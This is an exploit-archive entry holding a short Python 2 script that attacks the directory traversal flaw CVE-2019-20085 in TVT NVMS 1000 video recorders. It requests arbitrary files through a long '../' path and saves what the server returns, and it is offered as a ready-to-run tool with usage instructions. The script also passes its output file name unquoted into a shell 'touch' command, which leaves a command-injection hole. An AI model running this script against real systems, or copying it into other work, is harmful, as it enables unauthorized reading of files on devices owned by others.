TVT NVMS 1000 - Directory Traversal

# Exploit Title: TVT NVMS 1000 - Directory Traversal
# Date: 2020-04-13
# Exploit Author: Mohin Paramasivam (Shad0wQu35t)
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html
# Original Author : Numan Türle
# CVE : CVE-2019-20085

import sys
import requests
import os
import time

if len(sys.argv) !=4:
	print "  "
	print "Usage : python exploit.py url filename outputname"
	print "Example : python exploit.py http://10.10.10.10/ windows/win.ini win.ini"
	print "	"
else:


	traversal = "../../../../../../../../../../../../../"
	filename = sys.argv[2]
	url = sys.argv[1]+traversal+filename
	outputname = sys.argv[3]
	content = requests.get(url)

	if content.status_code == 200:

		print " "
		print "Directory Traversal Succeeded"
		time.sleep(3)
		print " "
		print "Saving Output"
		os.system("touch " + outputname)
		output_write = open(outputname,"r+")
		output_write.write(content.text)
		output_write.close()

	else:

		print "Host not vulnerable to Directory Traversal!"